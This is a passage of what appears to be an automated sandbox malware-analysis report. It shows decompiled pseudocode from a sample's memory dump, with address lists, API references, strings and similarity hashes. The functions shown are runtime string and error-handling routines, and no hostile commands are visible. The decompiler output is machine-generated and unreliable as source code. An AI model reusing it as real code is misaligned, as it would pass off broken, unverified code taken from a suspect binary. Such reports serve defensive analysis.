						_t112 = _v16;
						__eflags = _t112;
						if(_t112 != 0) {
							 *_t198 = _t196;
							_t112 =  *_t112();
						}
						 *_t198 = _t145;
						E003F8C90(_t112, _t145, _t192, _t195, _t196);
						_t114 = _v32;
						__eflags = _t114;
						if(_t114 != 0) {
							_t19 =  &_v56; // -50
							_t192 = _t19;
							 *_t198 = _t19;
							_t114 =  *_t114();
						}
						 *_t198 = _t145;
						E003F8C90(_t114, _t145, _t192, _t195, _t196);
						_t116 = _v32;
						__eflags = _t116;
						if(_t116 != 0) {
							_t21 =  &_v56; // -50
							_t192 = _t21;
							 *_t198 = _t21;
							_t116 =  *_t116();
						}
						 *_t198 = _t145;
						E003F8C90(_t116, _t145, _t192, _t195, _t196);
						_t118 = _v16;
						__eflags = _t118;
						if(_t118 != 0) {
							 *_t198 = _t196;
							_t118 =  *_t118();
						}
						 *_t198 = _t145;
						E003F8C90(_t118, _t145, _t192, _t195, _t196);
						_t120 = _v16;
						__eflags = _t120;
						if(_t120 != 0) {
							 *_t198 = _t196;
							_t120 =  *_t120();
						}
						 *_t198 = _t145;
						E003F8C90(_t120, _t145, _t192, _t195, _t196);
						_t122 = _a16;
						__eflags = _t122;
						if(_t122 != 0) {
							 *_t198 = _t145;
							_t122 =  *_t122();
						}
						 *_t198 = _t196;
						E003F8C90(_t122, _t145, _t192, _t195, _t196);
						_t124 = _a32;
						__eflags = _t124;
						if(_t124 != 0) {
							 *_t198 = _t195;
							_t124 =  *_t124();
						}
						 *_t198 = _t145;
						_t125 = E003F8C90(_t124, _t145, _t192, _t195, _t196);
						_t126 = E004810B0(_t125);
						while(1) {
							 *_t198 = _t196;
							L00497910();
							 *_t198 = _t145;
							E003F8C90(_t126, _t145, _t192, _t195, _t196);
							L00411C50( *((intOrPtr*)(_t196 + 0xc)));
							_t129 = E0045C770(_t196);
							 *_t198 = _t196;
							L00497910();
							 *_t198 = _t145;
							_t130 = E003F8C90(_t129, _t145, _t192, _t195, _t196);
							 *_t198 = _t196;
							L00497910();
							 *_t198 = _t145;
							_t131 = E003F8C90(_t130, _t145, _t192, _t195, _t196);
							_t132 = E004810B0(_t131);
							 *_t198 = _t196;
							L00497910();
							 *_t198 = _t145;
							E003F8C90(_t132, _t145, _t192, _t195, _t196);
							L00411C50( *((intOrPtr*)(_t196 + 0xc)));
							_t126 = E0045CB60(_t196);
						}
					}
					_t193 =  *_t145;
					_t136 =  *0x4c51c8; // 0x4c3f7c
					_t195 =  *0x4c51e4; // 0x4c3f7c
					__eflags = _t193 - _t136;
					if(_t193 == _t136) {
						L3:
						 *0x4c51e4 = _t136;
						 *_t198 = _t145;
						_t137 = E00410280( &_v52, _t193, _t195);
						_t199 = _t198 - 4;
						_t146 =  &_v52;
						 *_t199 = "*";
						_t138 = L004139C0(_t137,  &_v52);
						_t198 = _t199 - 4;
						if(_t138 != 0) {
							 *_t198 = 0;
							_v72 = _v52;
							L004043D8();
						}
						_t140 = _v52;
						if(_t140 !=  &_v44) {
							 *_t198 = _t140;
							L00497910();
						}
						_t191 =  *0x4c3bd0; // 0x2
						_t141 = _v56;
						if(_t191 != 0) {
							 *_t198 = _t141;
							_t142 = E003F6500(__eflags);
							__eflags = _t142;
							if(_t142 == 0) {
								goto L7;
							}
							goto L16;
						} else {
							L7:
							 *_t198 = _t195;
							E00481260(_t196);
							return _t196;
						}
					}
					_t190 =  *0x4c3bd0; // 0x2
					__eflags = _t190;
					if(_t190 == 0) {
						L2:
						 *_t193 =  *_t193 + 1;
						_t136 = _t193;
						goto L3;
					}
					asm("lock add dword [edx], 0x1");
					_t136 =  *_t145;
					goto L3;
				}
				_t193 =  *_t145;
				_t136 =  *0x4c51c8; // 0x4c3f7c
				_t195 =  *0x4c51e4; // 0x4c3f7c
				if(_t193 == _t136) {
					goto L3;
				}
				goto L2;
			}

0x004810c0
0x004810c9
0x004810cc
0x004810cf
0x004810d4
0x004810d9
0x004810df
0x004810e4
0x00481160
0x00481163
0x00481168
0x0048116a
0x00498cdc
0x00498ce1
0x00498ce1
0x00498ce8
0x00498ced
0x00498cf3
0x00498cfb
0x00498d03
0x00498d06
0x00498d0b
0x00498d0b
0x00498d0e
0x00498d11
0x00498d13
0x00498d18
0x00498d1b
0x00498d20
0x00498d23
0x00498d23
0x00498d28
0x00498d32
0x00498d37
0x00498d42
0x00498d47
0x00498d4a
0x00498d4f
0x00498d5a
0x00498d5f
0x00498d6a
0x00498d6f
0x00498d72
0x00498d77
0x00498d82
0x00498d87
0x00498d92
0x00498d97
0x00498d9a
0x00498d9f
0x00498daa
0x00498daf
0x00498dba
0x00498dbf
0x00498dc2
0x00498dc7
0x00498dca
0x00498dd0
0x00498dd3
0x00498dda
0x00498ddf
0x00498de2
0x00498de8
0x00498deb
0x00498df0
0x00498df3
0x00498df8
0x00498dfb
0x00498e02
0x00498e07
0x00498e0a
0x00498e10
0x00498e13
0x00498e18
0x00498e1b
0x00498e20
0x00498e23
0x00498e2a
0x00498e2f
0x00498e32
0x00498e38
0x00498e3b
0x00498e40
0x00498e43
0x00498e48
0x00498e4b
0x00498e52
0x00498e57
0x00498e5a
0x00498e60
0x00498e63
0x00498e68
0x00498e72
0x00498e77
0x00498e82
0x00498e87
0x00498e8a
0x00498e8f
0x00498e9a
0x00498e9f
0x00498eaa
0x00498eaf
0x00498eb2
0x00498eb7
0x00498eba
0x00498ec0
0x00498ec3
0x00498eca
0x00498ecf
0x00498ed2
0x00498ed8
0x00498edb
0x00498ee0
0x00498ee3
0x00498ee8
0x00498eeb
0x00498ef2
0x00498ef7
0x00498efa
0x00498f00
0x00498f03
0x00498f08
0x00498f15
0x00498f1a
0x00498f27
0x00498f2c
0x00498f39
0x00498f3e
0x00498f4b
0x00498f50
0x00498f5d
0x00498f62
0x00498f6f
0x00498f74
0x00498f81
0x00498f86
0x00498f93
0x00498f98
0x00498fa2
0x00498fa7
0x00498faa
0x00498faf
0x00498fb9
0x00498fbe
0x00498fc1
0x00498fc6
0x00498fd0
0x00498fd5
0x00498fd8
0x00498fdd
0x00498fe0
0x00498fe5
0x00498fe8
0x00498fed
0x00498ff7
0x00498ffc
0x00498fff
0x00499004
0x0049900e
0x00499013
0x00499016
0x0049901b
0x00499025
0x0049902a
0x0049902d
0x00499032
0x00499035
0x0049903a
0x0049903d
0x00499042
0x00499045
0x0049904c
0x00499051
0x00499054
0x0049905c
0x0049905d
0x00499060
0x00499068
0x0049906c
0x0049906e
0x00499070
0x00499073
0x00499073
0x00499075
0x00499078
0x00499080
0x00499084
0x00499086
0x00499088
0x0049908b
0x0049908b
0x0049908d
0x00499090
0x00499098
0x0049909b
0x0049909d
0x0049909f
0x0049909f
0x004990a2
0x004990a5
0x004990a5
0x004990a7
0x004990aa
0x004990b0
0x004990b3
0x004990b5
0x004990b7
0x004990b7
0x004990ba
0x004990bd
0x004990bd
0x004990bf
0x004990c2
0x004990c8
0x004990cc
0x004990ce
0x004990d0
0x004990d3
0x004990d3
0x004990d5
0x004990d8
0x004990e0
0x004990e4
0x004990e6
0x004990e8
0x004990eb
0x004990eb
0x004990ed
0x004990f0
0x004990f8
0x004990fc
0x004990fe
0x00499100
0x00499103
0x00499103
0x00499105
0x00499108
0x00499110
0x00499114
0x00499116
0x00499118
0x0049911b
0x0049911b
0x0049911d
0x00499120
0x0049912a
0x0049912f
0x0049912f
0x00499132
0x00499137
0x0049913a
0x00499142
0x00499149
0x0049914e
0x00499151
0x00499156
0x00499159
0x0049915e
0x00499161
0x00499166
0x00499169
0x00499170
0x00499175
0x00499178
0x0049917d
0x00499180
0x00499188
0x0049918f
0x0049918f
0x0049912f
0x00481170
0x00481172
0x00481177
0x0048117d
0x0048117f
0x004810fc
0x004810fc
0x00481104
0x00481107
0x0048110c
0x0048110f
0x00481112
0x00481119
0x0048111e
0x00481123
0x004811bb
0x004811c2
0x004811c6
0x004811c6
0x00481129
0x00481131
0x00481133
0x00481136
0x00481136
0x0048113b
0x00481141
0x00481146
0x004811a0
0x004811a3
0x004811a8
0x004811aa
0x00000000
0x00000000
0x00000000
0x00481148
0x00481148
0x00481148
0x0048114d
0x0048115e
0x0048115e
0x00481146
0x00481185
0x0048118b
0x0048118d
0x004810f7
0x004810f7
0x004810fa
0x00000000
0x004810fa
0x00481193
0x00481197
0x00000000
0x00481197
0x004810e6
0x004810e8
0x004810ed
0x004810f5
0x00000000
0x00000000
0x00000000

Strings

|?L, xrefs: 004810ED, 004810FC, 00481177
p&M, xrefs: 00498F58
<&M, xrefs: 00498F46
04M, xrefs: 00498F34
|?L, xrefs: 004810E8, 00481172

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 04M$<&M$p&M$|?L$|?L
API String ID: 0-3196055911
Opcode ID: 24ae3498da4fa58d453118dfe1360e9c2f0babe795dcb6b8a47cc4b29858225e
Instruction ID: d044e0190c1377c01fca1ac5537067719158ac56e392cc2e3f14f5cfc6a8f000
Opcode Fuzzy Hash: 24ae3498da4fa58d453118dfe1360e9c2f0babe795dcb6b8a47cc4b29858225e
Instruction Fuzzy Hash: 5AE1E7B0609B148BCB457F35889293EBBA5AF41744F121C6EE2C15B352CF3D95828B9F

Uniqueness

Uniqueness Score: -1.00%

Function 00408960 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 130
windowCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00408960(long __ebx, intOrPtr* __ecx, long __edi, void* __esi, intOrPtr _a8) {
				void* _v16;
				void* _v32;
				intOrPtr _v52;
				char _v56;
				void** _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				char _v72;
				char _v116;
				char _v124;
				intOrPtr _v144;
				intOrPtr _v152;
				char _v156;
				long _t32;
				intOrPtr* _t38;
				intOrPtr _t39;
				char _t42;
				char _t44;
				void* _t45;
				intOrPtr* _t54;
				char _t56;
				intOrPtr _t57;
				char _t58;
				void* _t62;
				intOrPtr _t66;
				long _t67;
				char* _t70;
				void* _t74;
				intOrPtr* _t75;
				long _t77;
				void* _t78;
				void** _t80;
				void* _t82;
				intOrPtr* _t83;
				void** _t84;
				intOrPtr* _t87;
				intOrPtr* _t88;

				_t67 = __edi;
				_t78 = _t82;
				_t54 = __ecx;
				_t83 = _t82 - 0x3c;
				_v32 = 0;
				_v52 = 0;
				_v56 = 0;
				_v60 =  &_v32;
				_v64 = 0x400;
				_v72 = 0;
				_v68 = _a8;
				 *_t83 = 0x1100;
				_t32 = FormatMessageA(__ebx, __esi, __edi, _t77, ??, ??, ??);
				_t66 = _t54 + 8;
				_t84 = _t83 - 0x1c;
				if(_t32 == 0) {
					 *_t54 = _t66;
					_v72 = 0x4cd1c0;
					 *_t84 = "Unknown error code";
					E00482CC0(_t54);
					return _t54;
				} else {
					_t74 = _v32;
					if(_t32 > 3) {
						_t14 = _t32 - 3; // -3
						_t62 = _t14;
						_t67 = _t74 + _t62;
						if( *_t67 == 0xd2e) {
							_t32 =  ==  ? _t62 : _t32;
						}
					}
					 *_t54 = _t66;
					if(_t74 == 0) {
						 *_t84 = "basic_string: construction from null is not valid";
						_t56 = L004996C0(_t66, _t67);
						_v72 = _t56;
						E003F8C90(_t36, _t56, _t66, _t67, _t74);
						_t80 = _t84;
						_t87 = _t84 - 0x3c;
						_t57 = _v68;
						 *_t87 = 0x10;
						_t38 = L00497A00(_t57, _t74, _t56);
						_v144 = _t57;
						_t75 = _t38;
						_t39 =  *0x4c4488; // 0x4d1b0c
						 *_t87 = 0x4c4488;
						 *((intOrPtr*)(_t39 + 0x10))(_t74, _t67, _t78, LocalFree(_t74));
						_push(_t66);
						_t64 = _t75;
						_v156 =  &_v124;
						_t70 =  &_v116;
						_push(L00471B90(_t75, _t66));
						_t42 = _v124;
						if(_t42 != _t70) {
							_v156 = _t42;
							L00497910();
						}
						 *((intOrPtr*)(_t87 + 8)) = E00460A50;
						_v152 = 0x4cef40;
						_v156 = _t75;
						 *_t75 = 0x4d27cc;
						 *((intOrPtr*)(_t75 + 8)) = _t57;
						 *((intOrPtr*)(_t75 + 0xc)) = 0x4c4488;
						_t58 = L00497F00(_t64, _t66, _t70, _t75, _t80);
						_t44 = _v56;
						if(_t44 != _t70) {
							_v156 = _t44;
							L00497910();
						}
						_t45 = L00497C80(_t75);
						_v156 = _t58;
						E003F8C90(_t45, _t58, _t66, _t70, _t75);
						_t88 = _t87 - 0x1c;
						 *_t88 = 0x498750;
						L003E14A0();
						 *_t88 = 0x498760;
						return L003E14A0();
					} else {
						 *_t84 = _t74;
						_v72 = _t74 + _t32;
						E00482CC0(_t54);
						 *(_t84 - 8) = _t74;
						LocalFree(??);
						return _t54;
					}
				}
			}

0x00408960
0x00408961
0x00408969
0x0040896b
0x0040896e
0x00408975
0x0040897d
0x00408985
0x00408989
0x00408994
0x0040899c
0x004089a0
0x004089a7
0x004089ad
0x004089b0
0x004089b5
0x00408a10
0x00408a14
0x00408a1c
0x00408a23
0x00408a34
0x004089b7
0x004089b7
0x004089bd
0x004089f0
0x004089f0
0x004089f3
0x004089fb
0x00408a01
0x00408a01
0x004089fb
0x004089bf
0x004089c3
0x00408a37
0x00408a43
0x0049a836
0x0049a839
0x0049a841
0x0049a849
0x0049a84c
0x0049a84f
0x0049a856
0x0049a85b
0x0049a861
0x0049a863
0x0049a868
0x0049a86f
0x0049a872
0x0049a873
0x0049a876
0x0049a879
0x0049a881
0x0049a882
0x0049a887
0x0049a889
0x0049a88c
0x0049a88c
0x0049a891
0x0049a899
0x0049a8a1
0x0049a8a4
0x0049a8aa
0x0049a8ad
0x0049a8b9
0x0049a8bb
0x0049a8c0
0x0049a8c2
0x0049a8c5
0x0049a8c5
0x0049a8d1
0x0049a8d6
0x0049a8d9
0x0049a8e0
0x0049a8e3
0x0049a8ea
0x0049a8ef
0x0049a8fe
0x004089c5
0x004089c7
0x004089cc
0x004089d0
0x004089d8
0x004089db
0x004089ed
0x004089ed
0x004089c3

APIs

FormatMessageA.KERNEL32 ref: 004089A7
LocalFree.KERNEL32 ref: 004089DB

Strings

basic_string: construction from null is not valid, xrefs: 00408A37
PF, xrefs: 0049A8A4
Unknown error code, xrefs: 00408A1C

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: FormatFreeLocalMessage
String ID: PF$Unknown error code$basic_string: construction from null is not valid
API String ID: 1427518018-2763540204
Opcode ID: 5e654f4041d5046a6fdf5e6ef180c81102c68eb92d6a1acc225a4799ca92bd99
Instruction ID: dcd99eccaf8ec28d5bc7bfbf122824a260731f686aa1501a815eefaf4d4b1b0f
Opcode Fuzzy Hash: 5e654f4041d5046a6fdf5e6ef180c81102c68eb92d6a1acc225a4799ca92bd99
Instruction Fuzzy Hash: 16416AB19083049FCB10BFA9D98566EFFF4AF84354F41882EE4C49B341D77894498BAB

Uniqueness

Uniqueness Score: -1.00%

Function 003FB1A0 Relevance: 10.6, APIs: 7, Instructions: 61COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 003FB1B9
memcpy.MSVCRT ref: 003FB1DD
malloc.MSVCRT ref: 003FB1F7
memset.MSVCRT ref: 003FB225
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA6C
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA71
abort.MSVCRT(?,?,00000000,00000000,?,74CB4D40,003FB33F), ref: 0049AA76

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: abort$malloc$memcpymemset
String ID:
API String ID: 334492700-0
Opcode ID: 95d0de088aa76ab016ac8e517ef2793c18bef32ad3fc14d143254aff5c706310
Instruction ID: d4980ed96a9a55fbb5141909d0e5450aeab438715cbfdbd14fba4d87f3fae5ed
Opcode Fuzzy Hash: 95d0de088aa76ab016ac8e517ef2793c18bef32ad3fc14d143254aff5c706310
Instruction Fuzzy Hash: D411A3F16043089FD700BF6AD88096AFBE8EF85394F45857FE948C7641E735D9048B69

Uniqueness

Uniqueness Score: -1.00%

Function 004831F0 Relevance: 10.2, APIs: 8, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0048326D
memcpy.MSVCRT ref: 004832AC

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 9184eb8914d6e3432625457f0b529d73ab70f2eece82a4a62ea886e5666b1359
Instruction ID: e5aec599f04d7427b88fdf62cb88c08a151265acb868360d88921da0c81463ff
Opcode Fuzzy Hash: 9184eb8914d6e3432625457f0b529d73ab70f2eece82a4a62ea886e5666b1359
Instruction Fuzzy Hash: 9661B0B4608702CFC714EF19C19051EFBE0AF99B14F148D6EE8998B3A1D738E945CB56

Uniqueness

Uniqueness Score: -1.00%

Function 004606C0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 229
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E004606C0(intOrPtr* __ecx, void* __edi, void* __esi, char* _a4, intOrPtr* _a8, signed char** _a12) {
				void* _v16;
				signed char* _v44;
				char* _v48;
				char* _v52;
				char _v68;
				char* _v72;
				char* _v76;
				char* _v92;
				char* _v96;
				char* _v100;
				signed char** _v112;
				char* _v116;
				char* _v120;
				char* _v124;
				void* _v128;
				intOrPtr _v144;
				char* _v148;
				char* _v152;
				char* _v156;
				char* _v160;
				void* __ebx;
				intOrPtr* _t100;
				intOrPtr* _t102;
				char* _t107;
				char* _t109;
				char* _t114;
				void* _t116;
				char* _t118;
				char** _t120;
				char* _t121;
				char* _t124;
				char* _t125;
				char* _t126;
				char* _t128;
				char* _t132;
				intOrPtr* _t136;
				char* _t137;
				intOrPtr* _t142;
				char* _t144;
				char* _t147;
				char* _t153;
				char* _t154;
				char* _t159;
				signed char* _t160;
				char* _t161;
				signed char** _t164;
				char** _t167;
				void* _t171;
				void* _t173;
				void* _t174;
				char** _t175;
				intOrPtr* _t178;
				char** _t179;

				_t171 = _t173;
				_push(__edi);
				_push(__esi);
				_t136 = __ecx;
				_t174 = _t173 - 0x8c;
				_t100 = _a8;
				_t159 = _a4;
				_t164 = _a12;
				_v124 = _t100;
				_v120 = _t159;
				_t102 =  *((intOrPtr*)( *_t100 + 0x10));
				if(_t102 != E004084D0) {
					_t142 =  &_v52;
					_v128 = _t142;
					_v152 = _v120;
					_t151 = _v124;
					_v156 = _v124;
					 *_t102();
					_v112 =  &_v44;
					_t175 = _t174 - 8;
				} else {
					_v48 = 0;
					_v128 =  &_v52;
					_t132 =  &_v44;
					_v112 = _t132;
					_v52 = _t132;
					_v44 = 0;
					if(_t159 == 1) {
						_v144 = 0xe;
						_v148 = "iostream error";
						_v152 = 0;
						_v156 = 0;
						_t142 = _v128;
						E00482400(__ecx, _t142, _t159, _t164, _t171);
					} else {
						_v144 = 0xd;
						_v148 = "Unknown error";
						_v152 = 0;
						_v156 = 0;
						_t142 = _v128;
						E00482400(__ecx, _t142, _t159, _t164, _t171);
					}
					_t175 = _t174 - 0x10;
				}
				_t160 =  *_t164;
				_t165 = _t164[1];
				_v76 =  &_v68;
				_v100 = _t165;
				if(_t165 > 0xf) {
					_v160 = 0;
					_t142 =  &_v76;
					 *_t175 =  &_v100;
					_t107 = E00484F10(_t136, _t160, _t171);
					_t151 = _v100;
					_v76 = _t107;
					_t175 = _t175 - 8;
					_v68 = _v100;
					goto L27;
				} else {
					if(_t165 != 1) {
						_t109 =  &_v68;
						if(_t165 != 0) {
							L27:
							_v156 = _t165;
							_v160 = _t160;
							 *_t175 = _t107;
							memcpy(??, ??, ??);
							_t165 = _v100;
							_t109 = _v76;
						}
					} else {
						_v68 =  *_t160 & 0x000000ff;
						_t109 =  &_v68;
					}
				}
				_v72 = _t165;
				 *((char*)(_t109 + _t165)) = 0;
				if(0x3fffffff - _v72 <= 1) {
					 *_t175 = "basic_string::append";
					L004997B0(_t151, _t160);
					goto L38;
				} else {
					_v160 = 2;
					 *_t175 = ": ";
					E00484DB0( &_v76);
					_t151 = _v72;
					_t175 = _t175 - 8;
					_t118 = _v48;
					_t160 = _v76;
					_v116 = _v52;
					_t165 =  &_v68;
					_t144 =  &(_t151[_t118]);
					if(_t160 ==  &_v68) {
						if(_t144 <= 0xf) {
							goto L13;
						} else {
							_t165 = _v112;
							if(_v116 != _v112) {
								goto L11;
							} else {
								goto L13;
							}
						}
					} else {
						if(_v68 >= _t144) {
							L13:
							_t142 = 0x3fffffff - _t151;
							if(_t142 < _t118) {
								L38:
								_v160 = "basic_string::append";
								_t137 = L004997B0(_t151, _t160);
								_t114 = _v52;
								_t152 = _v112;
								if(_t114 != _v112) {
									_v156 = _t114;
									L00497910();
								}
								_v156 = _t137;
								E003F8C90(_t114, _t137, _t152, _t160, _t165);
								0;
								_push(_t137);
								 *_t142 = 0x4d27cc;
								_t116 = L00471D00(_t142);
								 *((intOrPtr*)(_t175 - 0x18)) = _t142;
								L00497910();
								return _t116;
							} else {
								_v160 = _t118;
								 *_t175 = _v116;
								_t120 = E00484DB0( &_v76);
								_t178 = _t175 - 8;
								goto L15;
							}
						} else {
							if(_v116 == _v112) {
								_t165 = 0xf;
							} else {
								L11:
								_t165 = _v44;
							}
							if(_t165 >= _t144) {
								_v152 = _t151;
								_v156 = _t160;
								_v160 = 0;
								 *_t175 = 0;
								_t120 = E00482400(_t136, _v128, _t160, _t165, _t171);
								_t178 = _t175 - 0x10;
								L15:
								_t161 =  &_v92;
								_t44 =  &(_t120[2]); // 0x8
								_t147 = _t44;
								_t167 = _t120;
								_v100 = _t161;
								_t153 =  *_t120;
								_t121 = _t120[1];
								if(_t153 == _t147) {
									_t154 =  &(_t121[1]);
									_t121 = 0xffffffff;
									if(_t154 != 0) {
										_v160 = _t147;
										_v156 = _t154;
										_v116 = _t147;
										 *_t178 = _t161;
										memcpy(??, ??, ??);
										_t121 = _t167[1];
										_t147 = _v116;
									}
								} else {
									_v100 = _t153;
									_v92 = _t167[2];
								}
								_v96 = _t121;
								 *_t167 = _t147;
								_t167[1] = 0;
								_t167[2] = 0;
								 *_t178 =  &_v100;
								L00471B90(_t136);
								_t124 = _v100;
								_t179 = _t178 - 4;
								if(_t124 != _t161) {
									 *_t179 = _t124;
									L00497910();
								}
								_t125 = _v76;
								if(_t125 !=  &_v68) {
									 *_t179 = _t125;
									L00497910();
								}
								_t126 = _v52;
								if(_t126 != _v112) {
									 *_t179 = _t126;
									L00497910();
								}
								 *_t136 = 0x4d27cc;
								 *((intOrPtr*)(_t136 + 8)) = _v120;
								_t128 = _v124;
								 *(_t136 + 0xc) = _t128;
								return _t128;
							} else {
								goto L13;
							}
						}
					}
				}
			}

0x004606c1
0x004606c3
0x004606c4
0x004606c6
0x004606c8
0x004606ce
0x004606d1
0x004606d4
0x004606d7
0x004606dc
0x004606df
0x004606e7
0x00460973
0x00460976
0x00460979
0x0046097d
0x00460980
0x00460983
0x00460988
0x0046098b
0x004606ed
0x004606f0
0x004606f7
0x004606fa
0x004606fd
0x00460700
0x00460703
0x0046070a
0x00460910
0x00460918
0x00460920
0x00460928
0x0046092f
0x00460932
0x00460710
0x00460710
0x00460718
0x00460720
0x00460728
0x0046072f
0x00460732
0x00460732
0x00460737
0x00460737
0x0046073a
0x0046073c
0x00460742
0x00460745
0x0046074b
0x0046089b
0x004608a3
0x004608a6
0x004608a9
0x004608ae
0x004608b1
0x004608b4
0x004608b7
0x00000000
0x00460751
0x00460754
0x00460888
0x0046088d
0x004608ba
0x004608ba
0x004608be
0x004608c2
0x004608c5
0x004608ca
0x004608cd
0x004608cd
0x0046075a
0x0046075d
0x00460760
0x00460760
0x00460754
0x00460763
0x00460766
0x00460775
0x004609c2
0x004609c9
0x00000000
0x0046077b
0x0046077b
0x00460786
0x0046078d
0x00460795
0x00460798
0x0046079b
0x0046079e
0x004607a1
0x004607a4
0x004607a7
0x004607ac
0x0046099b
0x00000000
0x004609a1
0x004609a1
0x004609a7
0x00000000
0x004609ad
0x00000000
0x004609ad
0x004609a7
0x004607b2
0x004607b5
0x004607ce
0x004607d3
0x004607d7
0x004609ce
0x004609ce
0x004609da
0x00460a0d
0x00460a10
0x00460a15
0x00460a17
0x00460a1a
0x00460a1a
0x00460a1f
0x00460a22
0x00460a2d
0x00460a30
0x00460a36
0x00460a3c
0x00460a41
0x00460a44
0x00460a4d
0x004607dd
0x004607dd
0x004607e7
0x004607ea
0x004607ef
0x00000000
0x004607ef
0x004607b7
0x004607bd
0x004609b8
0x004607c3
0x004607c3
0x004607c3
0x004607c3
0x004607c8
0x00460940
0x00460944
0x00460948
0x00460950
0x0046095a
0x0046095f
0x004607f2
0x004607f2
0x004607f5
0x004607f5
0x004607f8
0x004607fa
0x004607fd
0x004607ff
0x00460804
0x004608d8
0x004608db
0x004608e2
0x004608e8
0x004608ec
0x004608f0
0x004608f3
0x004608f6
0x004608fb
0x004608fe
0x004608fe
0x0046080a
0x0046080a
0x00460810
0x00460810
0x00460813
0x00460819
0x0046081d
0x00460824
0x00460828
0x0046082b
0x00460830
0x00460833
0x00460838
0x0046083a
0x0046083d
0x0046083d
0x00460842
0x0046084a
0x0046084c
0x0046084f
0x0046084f
0x00460854
0x0046085c
0x0046085e
0x00460861
0x00460861
0x00460869
0x0046086f
0x00460872
0x00460875
0x0046087f
0x00000000
0x00000000
0x00000000
0x004607c8
0x004607b5
0x004607ac

APIs

Part of subcall function 00482400: memmove.MSVCRT ref: 0048249D
Part of subcall function 00482400: memcpy.MSVCRT ref: 004824C8

memcpy.MSVCRT ref: 004608C5

Part of subcall function 00484DB0: memcpy.MSVCRT ref: 00484DEC

Strings

Unknown error, xrefs: 00460718
iostream error, xrefs: 00460918
PF, xrefs: 00460869, 00460A36
basic_string::append, xrefs: 004609C2, 004609CE

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
